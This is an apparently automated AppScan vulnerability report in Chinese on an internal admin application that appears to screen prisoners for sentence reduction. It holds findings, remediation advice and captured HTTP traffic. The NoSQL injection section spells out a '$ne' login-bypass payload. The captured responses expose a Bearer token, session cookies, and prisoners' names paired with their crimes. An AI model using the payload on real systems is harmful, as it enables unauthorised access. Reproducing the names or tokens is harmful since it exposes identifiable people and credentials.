POST /admin-api/chain/shouye/gzList HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json; charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18zhulur7hzhpmx0p55504.node0
Content-Length: 41

{
  "pch": "202505",
  "pageNo": 6,
  "pageSize": 10
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:25:20 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node01dlakf3bop2dv87yveegnokol668.node0; Path=/

{
  "code": 0,
  "data": {
    "list": [
      {
        "id": "4C9550F8067EB21107912346CFD7384F",
        "yjId": "96FC41F8067EB211DF8561057A231D02",
        "yjmcId": "4C9550F8067EB21107912346CFD7384F",
        "zfbh": "4463039579",
        "yjl": "6",
        "yjlmc": "减刑多维度资格筛查预警",
        "hyjg": "3",
        "lb": "jx",
        "pch": "202505",
        "xm": "曹可蒙",
        "zm": "组织卖淫"
      },
      {
        "id": "519550F8067EB211878A404C6782E93C",
        "yjId": "96FC41F8067EB211DF8561057A231D02",
        "yjmcId": "519550F8067EB211878A404C6782E93C",
        "zfbh": "4463038762",
        "yjl": "6",
        "yjlmc": "减刑多维度资格筛查预警",
        "hyjg": "3",
        "lb": "jx",
        "pch": "202505",
        "xm": "姜伟",
        "zm": "职务侵占"
      },
      {
        "id": "559550F8067EB211E995533977EA8E29",
        "yjId": "96FC41F8067EB211DF8561057A231D02",
        "yjmcId": "559550F8067EB211E995533977EA8E29",
        "zfbh": "4463042353",
        "yjl": "6",
        "yjlmc": "减刑多维度资格筛查预警",
        "hyjg": "3",
        "lb": "jx",
        "pch": "202505",
        "xm": "周勇",
        "zm": ""
      }
    ]
  }
}
```

```

      "zm": "开设赌场"
    },
    {
      "id": "599550F8067EB211C4AE460F3A922219",
      "yjId": "96FC41F8067EB211DF8561057A231D02",
      "yjmcId": "599550F8067EB211C4AE460F3A922219",
      "zfbh": "4463043064",
      "yjlb": "6",
      "yjlbmc": "减刑多维度资格筛查预警",
      "hyjg": "3",
      "lb": "jx",
      "pch": "202505",
      "sm": "黄永建",
      "zm": "操纵证券市场"
    },
    {
      "id": "5D9550F8067EB21162B299CB7381537E",
      "yjId": "96FC41F8067EB211DF8561057A231D02",
      "yjmcId": "5D9550F8067EB21162B299CB7381537E",
      "zfbh": "4463040482",
      "yjlb": "6",
      "yjlbmc": "减刑多维度资格筛查预警",
      "hyjg": "3",
      "lb": "jx",
      "pch": "202505",
      "sm": "余林军",
      "zm": "强奸"
    },
    {
      "id": "619550F8067EB211F0B69B4B2869924C",
      "yjId": "96FC41F8067EB211DF8561057A231D02",
      "yjmcId": "619550F8067EB211F0B69B4B2869924C",
      "zfbh": "4463040538",
      "yjlb": "6",
      "yjlbmc": "减刑多维度资格筛查预警",
      "hyjg": "3",
      "lb": "jx",
      "pch": "202505",
      "sm": "林泗超",
      "zm": "非法转让土地使用权"
    },
    {
      "id": "659550F8067EB211578C94F30EDB2F2D",
      "yjId": "96FC41F8067EB211DF8561057A231D02",
      "yjmcId": "659550F8067EB211578C94F30EDB2F2D",
      "zfbh": "4463028403",
      "yjlb": "6",
      "yjlbmc": "减刑多维度资格筛查预警",
      "hyjg": "3",
      "lb": "jx",
      "pch": "202505",
      "sm": "林耀彬",
      "zm": "抢劫"
    },
    {
      "id": "699550F8067EB211D8A7B7170E26D924",
      "yjId": "96FC41F8067EB211DF8561057A231D02",
      "yjmcId": "699550F8067EB211D8A7B7170E26D924",
      "zfbh": "4463042630",
      "yjlb": "6",
      "yjlbmc": "减刑多维度资格筛查预警",
      "hyjg": "3",
      "lb": "jx",
      "pch": "202505",
      "sm": "梁毅能",
      "zm": "以危险方法危害公共安全"
    }
  ],
  "total": 58
},
"msg": ""
}

```

过度许可的 CORS 访问测试

严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/system/auth/logout
实体:	logout (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改“Access-Control-Allow-Origin”头以仅获取允许的站点

差异: cookie JSESSIONID 已从请求除去: node0pm2w4g0cz6ej1pfqck4lrg83di8028.node0

推理: AppScan 检测到“Access-Control-Allow-Origin”头的许可权太多

测试请求和响应:

```
POST /admin-api/system/auth/logout HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:41:15 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node01ajt2c6g48jp9uglj9aj5q8nx18077.node0; Path=/

{
  "code": 0,
  "data": true,
  "msg": ""
}
```

修复方法

NoSQL 注入

TOC

原因:

未对用户输入正确执行危险字符清理

风险:

可以查看、变更或删除数据库条目和表格
该软件使用受外部影响的输入构建全部或部分 NoSQL DB 查询，但无法中和在将查询发送到数据库时可能修改查询的元素。
如果没有足够的类型检查或对用户可控制的输入进行转义，则生成的查询可能会导致这些输入被解释为查询的一部分而不是普通的用户数据。
这两个变量（\$user 和 \$pass）包含了用户在登录表单中输入的用户凭证。如果用户输入“jsmith”作为用户名，并输入“Demo1234”作为密码，那么查询将如下所示：
例如，假设我们有一个带有登录表单的 HTML 页面，该页面最终使用以下 PHP 代码中的用户输入在数据库上运行以下 MongoDB 查询：
db->logins->find(array("用户名"=>\$user, "密码"=>\$pass));
\$user 和 \$pass 这两个变量包含用户在登录表单中输入的用户凭证。
如果用户输入“jsmith”作为用户名，输入“Demo1234”作为密码，则查询将如下所示：
db.logins.find ({ username: "jsmith", password: "Demo1234" })
但是如果用户发送“user[\$ne]=1”而不是用户参数，发送“pass[\$ne]=1”而不是密码参数，则查询将如下所示（PHP 将用户和密码参数视为关联数组，其中一个元素“\$ne”的值为 1）：
db.logins.find ({ username: { \$ne: 1 } , 密码: { \$ne: 1 } })
由于\$ne是NoSQL中的“不等于”条件，此查询将查找登录集合中用户名不等于1且密码不等于1的所有条目，这意味着此查询肯定会返回登录集合中的所有用户。在这种情况下，该漏洞将导致攻击者无需有效的用户名和密码即可登录应用程序。

受影响产品:

此问题可能影响不同类型的产品。

修订建议:

常规

1. 要缓解该问题，将接收到的参数转换为正确的类型（例如字符串）。
2. 在可能的情况下对接收查询的函数使用对象而不是字符串。否则，对用户输入进行正确地转义。

CWE:

89

API 成批分配

TOC

原因:

如果 API 端点自动将提供数据的客户机转换为内部对象属性，而不考虑这些属性的敏感度和暴露水平，则 API 端点容易受到成批分配攻击。

风险:

API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制。

修订建议:

常规

避免使用自动将客户端输入绑定到代码变量或内部对象的函数。如果适用，请明确定义并强制执行输入数据有效负载的架构。

CWE:
915
913

外部引用:
API 安全性

具有不安全、不正确或缺少 SameSite 属性的 Cookie

TOC

原因:
具有不正确、不安全或缺少 SameSite 属性的敏感 Cookie

风险:
通过将 Cookie 限制为第一方或同一站点上下文, 防止 Cookie 信息泄露
如果没有额外的保护措施 (例如反 CSRF 令牌), 攻击可能会扩展到跨站点请求伪造 (CSRF) 攻击。
SameSite 属性控制如何为跨域请求发送 Cookie。
该属性可以有三个值: "Lax"、"Strict"或"None"。如果使用"None", Web 站点可能会向另一个 Web 站点创建跨域 POST HTTP 请求, 浏览器会自动向该请求添加 Cookie。
如果没有适当的保护措施 (例如反 CSRF 令牌), 则可能会导致跨站请求伪造 (CSRF) 攻击。
模式及其用途:
"Lax"模式: Cookie 将仅随顶级 GET 请求一起发送。"Strict"模式: 即使用户点击另一个 Web 站点的链接, 也不会以任何跨站点使用方式发送该 Cookie。"None"模式: Cookie 将随跨站点请求一起发送。
具有"Lax"或"None"的属性必须设置"Secure"标志, 并且必须通过 https 传输。示例 - Set-Cookie: key=value; SameSite=Lax; Secure
建议将属性设置为"Strict"。
示例 - Set-Cookie: key=value; SameSite=Strict

受影响产品:
此问题可能影响不同类型的产品。

修订建议:
常规

[1] 查看将 SameSite Cookie 属性配置为推荐值的可能解决方案。[2] 将 Cookie 限制为第一方或同一站点上下文。[3] 验证并将 Cookie 的 SameSite 属性设置为 Strict, 以确保仅在第一方上下文中发送 Cookie。[4] 或者, 如果要放宽第一方上下文的限制, 请验证 Cookie 的 SameSite 属性并将其设置为 Lax, 同时启用 Secure 标志并通过 HTTPS 进行传输。

CWE:
1275
284
923

外部引用:
WASC 威胁分类: 信息泄露
SameSite Cookie

加密会话 (SSL) Cookie 中缺少 Secure 属性

TOC

原因:
Web 应用程序通过 SSL 发送不安全的 cookie

风险:
可能会窃取在加密的会话期间发送的用户和会话信息 (cookie)
在应用程序测试过程中, 检测到在加密会话过程中, 所测试的 Web 应用程序设置了不含"secure"属性的 cookie。由于这个 cookie 不包含"secure"属性, 因此, 也可能在未加密的会话过程中将它发送到站点。任何以明文形式发送到服务器的 cookie、会话令牌或用户凭证之类的信息都可能被窃取, 并在稍后用于身份盗窃或用户伪装。
此外, 若干隐私法规指出, 用户凭证之类的敏感信息要始终以加密的方式发送到 Web 站点

受影响产品：

该问题可能会影响各种类型的产品

修订建议：

常规

基本上，cookie 的唯一必需属性是“name”字段。常见的可选属性如下：“comment”、“domain”、“path”，等等。常见的可选属性如下：“comment”、“domain”、“path”，等等。必须相应地设置“secure”属性，才能防止以未加密的方式发送 cookie。

有关如何设置安全标志的更多信息，请参阅 OWASP“安全属性”备忘单，地址为：
https://cheatsheetsseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html#secure-attribute

RFC 2965 指出：

“Secure 属性（不含值）会指导用户代理程序不管何时返回此 cookie，都只用（未指定）安全方法来联络原始服务器，以保护 cookie 中的信息的机密性和真实性。”如需进一步的引用，请参阅“HTTP 状态管理机制”RFC 2965，网址为：
<http://www.ietf.org/rfc/rfc2965.txt>

，如需使用“HTTP 状态管理机制”的“当前最佳做法”，请参阅
<http://tools.ietf.org/html/rfc2964>

CWE:

614
311
319

外部引用：

金融隐私权：The Gramm-Leach Bliley Act
Health Insurance Portability and Accountability Act（HIPAA）
Sarbanes-Oxley Act
California SB1386

支持较老的 TLS 版本

TOC

原因：

Web 服务器或应用程序服务器是以不安全的方式配置的

风险：

可能会窃取或操纵客户会话和 Cookie，它们可能用于假冒合法用户，从而使黑客能够以该用户身份查看或变更用户记录以及执行事务

服务器支持不提供加密或使用弱加密算法的 TLS 密码套件。因此，攻击者可能能够解密客户端和服务端之间的安全通信，或成功对客户端执行“中间人”攻击，使他们能够查看敏感信息以及代表客户端执行操作。

当前最安全的 TLS 版本是 1.3

受影响产品：

此问题可能影响不同类型的产品。

修订建议：

常规

重新配置服务器以避免使用弱密码套件。配置更改是特定于服务器的。

对于 Microsoft Windows XP 和 Microsoft Windows Server 2003，请按照以下说明操作：
<http://support.microsoft.com/kb/245030>

对于 Microsoft Windows Vista、Microsoft Windows 7 和 Microsoft Windows Server 2008，请按照以下说明从受支持的密码套件列表中除去被识别为弱的密码套件：
[http://msdn.microsoft.com/en-us/library/windows/desktop/bb870930\(v=vs.85\).aspx](http://msdn.microsoft.com/en-us/library/windows/desktop/bb870930(v=vs.85).aspx)

对于 Apache TomCat 服务器，请按照以下说明操作：
https://www.owasp.org/index.php/Talk:Securing_tomcat#Disabling_weak_ciphers_in_Tomcat

对于 Apache 服务器，请按照以下说明操作：
https://httpd.apache.org/docs/trunk/ssl/ssl_howto.html

CWE:

327

外部引用：
弃用 TLS 1.0 和 1.1
TLS 1.3 概述

检测到 SHA-1 密码套件

TOC

原因：
Web 服务器或应用程序服务器是以不安全的方式配置的

风险：
它可能窃取或操纵客户会话和 cookie，这可能用于假冒合法用户，从而使攻击者能够查看或更改用户记录，并以该用户的身份执行事务。
服务器支持 SHA-1 密码套件。
NIST 在 2011 年淘汰了 SHA-1，但是许多应用程序仍然依赖它。
直到目前 (2017) 为止，已知只有推论上的攻击是针对 SHA-1，这就是为何许多应用程序仍然依赖它的原因。
最近，CWI Amsterdam 和 Google Research 团队 ([1] 和 [2]) 才引入实际的攻击。

受影响产品：
该问题可能会影响各种类型的产品。

修订建议：

常规

安全密码套件最佳实践：
[1]
链接：现代兼容性
[2]
链接：SSL 和 TLS 部署最佳实践：使用安全密码套件

CWE：
327

外部引用：
[1] SHATTERED
[2] 完整 SHA-1 的第一个冲突

跨站点请求伪造

TOC

原因：
■ 之所以出现此漏洞，是因为应用程序允许用户在不验证请求是否是有意发送的情况下执行某些敏感操作。
■ 攻击者可能导致受害者的浏览器向应用程序中的任意 URL 发出 HTTP 请求。从经过认证的受害者的浏览器发送此请求时，它将包括受害者的会话 Cookie 或认证标头。应用程序将接受此请求作为来自经过认证的用户的有效请求。
■ 如果将 Web 服务器设计为接收来自客户端的请求，但缺乏用于验证该请求是否有有意发送的机制，则攻击者可能会欺骗客户端从另一个站点发出无意请求，而应用程序会将该请求视为可信请求。可以通过提交表单、加载图像、在 JavaScript 中发送 XMLHttpRequest 等执行此操作。
■ 例如，此 IMG 标签可以嵌入到攻击者的网页中，并且受害者的浏览器将提交请求检索该图像。此有效请求将由应用程序处理，并且浏览器不会显示损坏的图像。“”。由此带来的结果是，使用受害者的会话将受害者账户中的资金转移到攻击者的账户中。

风险：
攻击者可利用此漏洞在另一个用户的帐户中执行敏感操作，或使用其特权执行敏感操作。
可能会强制最终用户在当前其已通过认证的 Web 应用程序上执行不必要的操作。这将允许攻击者更改用户记录并以该用户身份执行事务。
如果用户当前登录到受害者站点，则请求将自动使用该用户的凭证，例如会话 Cookie、IP 地址及其他浏览器认证方法。攻击者使用此方法来伪造受害者的身份，并代表他们提交操作。
此漏洞的严重程度取决于应用程序中受影响的功能。例如，对搜索页面的 CSRF 攻击不如对转账或个人资料更新页面的 CSRF 攻击严重。

修订建议：

常规

设置所有会话和认证 Cookie，以包括“SameSite”属性，将“SameSite”属性设置为“Strict”或“Lax”。根据 HTTP 标准，将此属性设置为“Lax”时，确保无法通过“GET”请求执行任何敏感操作。

使用平台或框架提供的内置 CSRF 保护，并确保正确地激活该保护（无论是在配置中还是在代码中）。

如果平台不提供内置的 CSRF 防御机制，请考虑集成经过充分审查的库以实施保护，例如 OWASP CSRFGuard。

避免构建自定义的 CSRF 防御实施方式，因为在不允许轻易绕过的前提下，很难正确实现此目标。如果由于缺乏标准库支持而导致您必须这么做，则应该在服务器上生成安全、随机且不可预测的令牌（例如 GUID v4），并将该令牌嵌入到每个 HTML 表单中，同时将其与用户会话绑定。收到提交的表单后，验证包含的表单令牌是否与先前绑定至该用户的令牌相匹配。也可以将 CSRF 令牌嵌入到指定的 Cookie（“重复提交的 Cookie”）中，或者当服务器收到这些请求以及提交的表单令牌时，最好使用自定义请求标头，这样可以轻松验证它们是否匹配（而不是存储在用户的会话中）。

另一种方法是要求用户针对特定操作重新进行认证，以确保用户的有效确认。请注意，这会严重影响用户体验，因此应有节制地使用此方法，并且仅将其用于特别敏感的操作。

通过验证“来源”标头（如有），或至少验证“引用站点”标头来验证请求的来源。请丢弃从其他站点发出的敏感请求。

CWE:

352
693
345
346

外部引用：

OWASP CSRF 速查表
OWASP CSRFGuard

HTTP Strict-Transport-Security 头缺失或不安全

TOC

原因：

Web 应用程序编程或配置不安全

风险：

可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置

可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息。

HTTP 严格传输安全 (HSTS) 是防止安全的 (HTTPS) 网站降级为不安全的 HTTP 网站的一种机制。该机制可让 Web 服务器指导其客户机（Web 浏览器或其他用户代理程序）在与该服务器交互时使用安全的 HTTPS 连接，禁止使用不安全的 HTTP 协议。

请务必将‘max-age’设置为一个足够高的值，以防止过早地回到不安全连接。

HTTP 严格传输安全策略由服务器使用名为“Strict-Transport-Security”的响应头传达给其客户机。此响应头的值是一个时间段，在此时间段内客户机应仅以 HTTPS 访问服务器。其他响应头属性包括“includeSubDomains”和“preload”。

受影响产品：

此问题可能影响不同类型的产品。

修订建议：

常规

通过将“Strict-Transport-Security”响应头添加到 Web 应用程序响应来实施 HTTP 严格传输安全策略。

有关更多信息，请参阅

https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html

CWE:

200
693

外部引用：

OWASP“HTTP 严格传输安全”
HSTS 规范

Spring Boot Actuator 端点已公开

原因:

Web 服务器或应用程序服务器是以不安全的方式配置的

风险:

可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
Spring Boot 具备一系列功能，能够帮助监控和管理生产中的应用程序。
Actuator 端点允许监控上述应用程序并与之交互。Spring Boot 包含一系列内置端点，还可以添加其他端点。
由于端点可能会包含敏感信息，因此应仔细考虑何时公开这些端点。
务必注意，仅可向授权用户公开端点，并须阻止其他所有用户访问端点。

受影响产品:

Spring Boot Actuator 端点已启用。

修订建议:

常规

- 1. 仅启用操作所需的 Spring Server 端点。
- 2. 仅在必要时公开端点以供远程访问。
- 3. 通过仅限授权用户（例如仅具备 ENDPOINT_ADMIN 角色的用户）访问的方式保证您的端点的访问安全。

CWE:

200
497

外部引用:

Spring Boot Actuator: 生产就绪型功能（端点）

“Content-Security-Policy”头缺失

原因:

Web 应用程序编程或配置不安全

风险:

可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
CSP 值缺失或不当会导致 Web 应用程序容易受到 XSS、点击劫持等的攻击。
“Content-Security-Policy”头旨在修改浏览器呈现页面的方式，从而防止各种跨站点注入，包括跨站点脚本编制。以不会妨碍 Web 站点正常运行的方式正确设置头值非常重要。例如，如果头设置为阻止执行内联 JavaScript，则 Web 站点不得在其页面中使用内联 JavaScript。
要防止跨站点脚本编制攻击、跨框架脚本编制攻击和点击劫持，请务必使用正确的值设置以下策略：
“default-src”和“frame-ancestors”策略*或“script-src”、“object-src”和“frame-ancestors”策略
对于“default-src”、“script-src”和“object-src”，应避免使用不安全的值，例如“*”、“data:”、“unsafe-inline”或“unsafe-eval”。
对于“frame-ancestors”，应避免使用不安全的值，例如“*”或“data:”。
此外，对于“script-src”和“default-src”（“script-src”的备用指令），“self”被认为是不安全的，应该避免使用。
请参考以下链接以获取更多信息。
请注意，“Content-Security-Policy”包括四个不同的测试。常规测试用于验证是否正在使用“Content-Security-Policy”标头，另外三个测试用于检查“Frame-Ancestors”、“Object-Src”和“Script-Src”是否配置正确。

受影响产品:

此问题可能影响不同类型的产品

修订建议：

常规

配置服务器以发送“Content-Security-Policy”头。
建议将 Content-Security-Policy 头配置为其指令的安全值，如下所示：
对于“default-src”和“script-src”，需要使用诸如“none”或 <https://any.example.com> 之类的安全值。
对于“frame-ancestors”和“object-src”，需要使用诸如“self”、“none”或 <https://any.example.com> 之类的安全值。
在任何情况下都不得使用“unsafe-inline”和“unsafe-eval”。使用 nonce/hash 只会被视为短期解决方法。
关于 Apache，请参阅：
http://httpd.apache.org/docs/2.2/mod/mod_headers.html
关于 IIS，请参阅：
<https://technet.microsoft.com/pl-pl/library/cc753133%28v=ws.10%29.aspx>
关于 nginx，请参阅：
http://nginx.org/en/docs/http/nginx_http_headers_module.html

CWE:

1032
79
693
830
1021

外部引用：

[一些安全头的列表](#)
[内容安全策略简介](#)
[MDN Web 文档 - 内容安全策略](#)

“X-Content-Type-Options”头缺失或不安全

TOC

原因：

Web 应用程序编程或配置不安全

风险：

可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息。
“X-Content-Type-Options”头（具有“nosniff”值）防止 IE 和 Chrome 忽略响应的内容类型。
此操作可能防止不可信内容（例如，用户上传内容）在用户浏览器上执行（例如，在恶意命名之后）。

受影响产品：

此问题可能影响不同类型的产品

修订建议：

常规

将服务器配置为针对所有外发请求发送具有值“nosniff”的“X-Content-Type-Options”头。
关于 Apache，请参阅：
http://httpd.apache.org/docs/2.2/mod/mod_headers.html
关于 IIS，请参阅：
<https://technet.microsoft.com/pl-pl/library/cc753133%28v=ws.10%29.aspx>
关于 nginx，请参阅：
http://nginx.org/en/docs/http/nginx_http_headers_module.html

CWE:

200
693

外部引用：
有用 HTTP 头列表
减少 MME 类型安全风险

会话 cookie 中缺少 HttpOnly 属性

TOC

原因：
Web 应用程序设置了缺少 HttpOnly 属性的会话 cookie

风险：
可能会窃取或操纵客户会话和 cookie，它们可能用于模仿合法用户，从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
在应用程序测试过程中，检测到所测试的 Web 应用程序设置了不含“HttpOnly”属性的会话 cookie。由于此会话 cookie 不包含“HttpOnly”属性，因此植入站点的恶意脚本可能访问此 cookie，并窃取它的值。任何存储在会话令牌中的信息都可能被窃取，并在稍后用于身份盗窃或用户伪装。

受影响产品：
该问题可能会影响各种类型的产品

修订建议：

常规

基本上，cookie 的唯一必需属性是“name”字段。常见的可选属性如下：“comment”、“domain”、“path”，等等。必须相应地设置“HttpOnly”属性，才能防止会话 cookie 被脚本访问。

CWE：
653
693
1004

发现可高速缓存的 SSL 页面

TOC

原因：
浏览器可能已将敏感信息高速缓存

风险：
可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
缺省情况下，大部分 Web 浏览器都配置成会在使用期间高速缓存用户的页面。这表示也会高速缓存 SSL 页面。不建议让 Web 浏览器保存任何 SSL 信息，因为当有漏洞存在时，可能会危及这个信息。

受影响产品：
该问题可能会影响各种类型的产品。

修订建议：

常规

在所有 SSL 页面及含有敏感数据的所有页面上，禁用高速缓存。
通过使用你您 SSL 页面标题中的“Cache-Control: no-store”和“Pragma: no-cache”或“Cache-Control: no-cache”响应伪指令来实现此操作。
Cache-Control: private - 此伪指令可向代理指示某个页面中包含私有信息，因此不能由共享高速缓存进行高速缓存。但是，它不会指示浏览器阻止高速缓存此页面。
Cache-Control: no-cache - 此伪指令也可向代理指示某个页面中包含私有信息，因此不能高速缓存。它还会指示浏览器重新验证服务器以检查是否有新的版本可用。这意味着浏览器可能会存储敏感页面或要在重新验证中使用的信息。某些浏览器不一定会跟踪 RFC，因此可能会将 no-cache 视为 no-store。
Cache-Control: no-store - 这是最安全的伪指令。它同时指示代理和浏览器不要高速缓存此页面或将其存储为它们的高速缓存文件夹。
Pragma: no-cache - 对于不支持高速缓存控制标题的较旧浏览器，该伪指令是必需的。

CWE:

525
524
668
200

在应用程序中发现不必要的 Http 响应头

TOC

原因:

不安全的 Web 应用程序编程或配置

风险:

可能会收集有关 Web 服务器类型、版本、操作系统等的敏感信息。
AppScan 检测到不必要的 Http 响应头。
出于安全和隐私方面的原因,“Server”、“X-Powered-By”、“X-AspNetMvc-Version”和“X-AspNet-Version”等 Http 响应头不应出现在网页中。
“Server”头是每当服务器向客户机发送响应时通常会缺省添加的头。
“X-Powered-By”头是每当服务器向客户机发送响应时可能会缺省添加的头。
这些添加的头可能会泄露有关内部服务器软件版本和类型的敏感信息,从而使攻击者能够对其进行指纹识别并有针对性地利用漏洞进行攻击。此外,当一个新的漏洞为公众所知时,服务器很可能会受到利用该漏洞发起的攻击。

受影响产品:

此问题可能会影响不同类型的产品。

修订建议:

常规

配置服务器以除去向所有外发请求发送的缺省“Server”头。
关于 IIS, 请参阅:
<https://techcommunity.microsoft.com/t5/iis-support-blog/remove-unwanted-http-response-headers/ba-p/369710>
关于 nginx, 请参阅:
<https://www.getpagespeed.com/server-setup/nginx/how-to-remove-the-server-header-in-nginx>
关于 Vweblogic, 请参阅:
https://docs.oracle.com/cd/E13222_01/wls/docs81/adminguide/web_server.html
关于 Apache, 请参阅:
<https://techglimpse.com/set-modify-response-headers-http-tip/>

CWE:

200
668
497

外部引用:

指纹
防止信息泄露

检测到隐藏目录

TOC

原因:

Web 服务器或应用程序服务器是以不安全的方式配置的

风险:

可能会检索有关站点文件系统结构的信息,这可能会帮助攻击者映射此 Web 站点
Web 应用程序显现了站点中的目录。虽然目录并没有列出其内容,但此信息可以帮助攻击者发展对站点进一步的攻击。例如,知道目录名称之后,攻击者便可以猜测它的内容类型,也许还能猜出其中的文件名或子目录,并尝试访问它们。
内容的敏感度越高,此问题也可能越严重。

受影响产品：
该问题可能会影响各种类型的产品。

修订建议：

常规

如果不需要禁止的资源，请将其从站点中除去。
可能的话，请发出改用“404 — 找不到”响应状态代码，而不是“403 — 禁止”。这项更改会将站点的目录模糊化，可以防止泄漏站点结构。

CWE:
200
497

过度许可的 CORS 访问测试

TOC

原因：
Web 应用程序编程或配置不安全

风险：
可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
跨源资源共享 (CORS) 是允许 web 站点从外部站点请求资源的机制，从而避免复制资源。向外部站点授予访问权时，它们可对授予权限的站点执行各种操作，以及在这些站点上面执行脚本。因此，除了可信站点之外，不向任何其他站点授予访问权则非常重要。

受影响产品：
该问题可能会影响各种类型的产品。

修订建议：

常规

准备可信站点的列表，并将它们设置为“Access-Control-Allow-Origin”头的值。如果外部访问权不需要该值，请完全地除去该头。

CWE:
200
668
664

外部引用：
启用跨源资源共享

应用程序数据

已访问的 URL 105

TOC

URL
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/system/auth/sso-userinfo
https://10.249.2.1:8090/admin-api/system/auth/logout
https://10.249.2.1:8090/index
https://10.249.2.1:8090/admin-api/system/tenant/get-id-by-name?name=从法科技
https://10.249.2.1:8090/admin-api/system/captcha/get
https://10.249.2.1:8090/admin-api/system/captcha/check
https://10.249.2.1:8090/admin-api/system/captcha/get
https://10.249.2.1:8090/admin-api/system/auth/login
https://10.249.2.1:8090/admin-api/system/captcha/get
https://10.249.2.1:8090/admin-api/system/auth/get-permission-info
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/system/user/get?id=993
https://10.249.2.1:8090/admin-api/chain/shouye/gzList
https://10.249.2.1:8090/admin-api/system/dict-data/list-all-simple
https://10.249.2.1:8090/admin-api/chain/zf-zfbxx/page
https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=zf_fylb
https://10.249.2.1:8090/admin-api/chain/jxjs-gz/page
https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=xt_jxjsyjlx
https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=xt_clzt
https://10.249.2.1:8090/admin-api/system/user/get?id=993
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/chain/shouye/gzList
https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=xt_hyhg
https://10.249.2.1:8090/admin-api/chain/jfkh/page
https://10.249.2.1:8090/admin-api/system/user/get?id=993
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/chain/shouye/gzList
https://10.249.2.1:8090/admin-api/chain/jfkh-mc/getById?id=C61871F8067EB211B9A8BAAC1B34635E
https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=xt_hyhg
https://10.249.2.1:8090/admin-api/chain/jfkh-mc/page
